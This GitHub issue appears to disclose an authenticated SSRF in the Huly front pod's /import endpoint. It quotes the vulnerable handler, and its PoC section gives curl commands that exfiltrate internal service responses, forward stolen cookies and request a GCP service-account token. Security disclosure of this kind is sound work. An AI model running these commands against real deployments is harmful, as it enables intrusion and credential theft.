Skip to content

Authenticated SSRF in front pod /import endpoint allows internal HTTPS scanning and exfiltration #10892

@geo-chen

Description

@geo-chen

Summary

The front pod exposes a legacy /import endpoint (GET and POST) that any authenticated workspace user can use to make the server fetch an arbitrary HTTPS URL on their behalf, return the response body to the caller, and persist it as a blob in the user's workspace storage. There is no URL allowlist, no host check, no private-IP block, and the caller can additionally supply a Cookie header that the server attaches to the outbound request. The result is a classic authenticated SSRF that allows internal-network scanning, exfiltration of internal HTTPS service responses, and re-use of bearer/cookie credentials from other contexts against backend services that share the front pod's network.

In contrast, the link-preview pod (added later) implements a full SSRF defense in pods/link-preview/src/parse.ts (validateUrl, isBlockedIpv4, isBlockedIpv6, IPv6-mapped-IPv4 normalization, per-redirect re-validation). The /import endpoint in the front pod was never retrofitted with the same controls. A // todo remove it after update all customers chrome extensions comment confirms the endpoint is deprecated but still live.

Details

File: server/front/src/index.ts

Handler handleImportPost, lines 767-845:

const handleImportPost = async (req: Request, res: Response): Promise<void> => {
  try {
    const authHeader = req.headers.authorization
    if (authHeader === undefined) { res.status(403).send(); return }
    const token = authHeader.split(' ')[1]
    const workspaceDataId = await getWorkspaceIds(ctx, token)
    if (workspaceDataId === null) { res.status(403).send(); return }
    const { url, cookie } = req.body
    if (url === undefined) { res.status(500).send('URL param is not defined'); return }

    const options = cookie !== undefined ? { headers: { Cookie: cookie } } : {}

    https.get(url, options, (response) => {
      // ... buffers response body, then:
      config.storageAdapter.put(ctx, workspaceDataId, id, buffer, contentType, buffer.length)
        .then(async () => { res.status(200).send({ id, contentType, size: buffer.length }) })
      // ...
    })
  } catch (error: any) { /* ... */ }
}

Routes registered at lines 854-859:

app.get('/import', (req, res) => { void handleImportGet(req, res) })
app.post('/import', (req, res) => { void handleImportPost(req, res) })

getWorkspaceIds(ctx, token) (lines 436-462) accepts any valid workspace token; the optional path argument is omitted at the import handler call site (line 775) so the path/workspace-uuid cross check is skipped.

The fetched url is passed unmodified to Node's https.get(url, options, ...). Node restricts the scheme to https: (it throws on http:), but that is the only validation: there is no validateUrl (as used in pods/link-preview/src/parse.ts:206-228), no isBlockedIpv4/isBlockedIpv6, no allowlist of providers, no User-Agent set, no redirect validation, no content-type allowlist, no response size limit, and no enforcement against IPv6-mapped-IPv4 representations of loopback.

Targets reachable from a typical Huly self-hosted deployment include:

  • Other internal pods on the same network: account-service (port 3000), transactor websockets, collaborator, hulylake, datalake, link-preview, mail, billing, payment.
  • Cloud metadata services where HTTPS is supported (GCP https://metadata.google.internal/).
  • Kubernetes API server (https://kubernetes.default.svc) when the front pod runs in a cluster that has not blocked egress.
  • Any HTTPS service the operator runs alongside Huly (Vault, Consul, internal admin UIs).

In addition, the cookie parameter is concatenated unmodified into the outbound Cookie header (line 791-796), which lets an attacker forward stolen session material from another context (browser, leaked log entry, captured request) through the server, picking up the server's source IP and any IP allowlist trust the target backend grants to the front pod.

The response body is returned as a blob the attacker can re-download via /files, so any content of any reachable HTTPS resource becomes exfiltrated.

The GET variant handleImportGet (lines 679-765) is identical except that url comes from req.query.url instead of req.body.url, and is reachable with just a token in the Authorization header.

Authentication required is a normal workspace token, which any user of a self-hosted Huly instance with the default DISABLE_SIGNUP setting (undefined per server/front/src/starter.ts:114) can obtain by signing up.

PoC

Assume the attacker has signed up to a Huly self-hosted deployment and holds a workspace token in $TOKEN. The front pod is reachable at https://huly.example.com.

  1. Confirm token works:
curl -sS -H "Authorization: Bearer $TOKEN" https://huly.example.com/files?file=any
  1. Trigger SSRF to an internal HTTPS service (here, the link-preview pod's statistics endpoint on the cluster's internal hostname):
curl -sS -X POST https://huly.example.com/import \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://link-preview.svc.cluster.local:4060/api/v1/statistics?token=anything"}'

Response (excerpt):

{"id":"<uuid>","contentType":"application/json","size":1234}
  1. Download the captured response from blob storage:
curl -sS -H "Authorization: Bearer $TOKEN" "https://huly.example.com/files?file=<uuid>"

The body of the internal request is returned verbatim.

  1. Forwarding a stolen cookie:
curl -sS -X POST https://huly.example.com/import \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://internal-admin.svc.cluster.local/api/users", "cookie": "session=STOLEN_VALUE"}'
  1. GCP metadata exfiltration (only on deployments that have not blocked egress to the metadata server):
curl -sS -X POST https://huly.example.com/import \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "cookie": "Metadata-Flavor: Google"}'

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions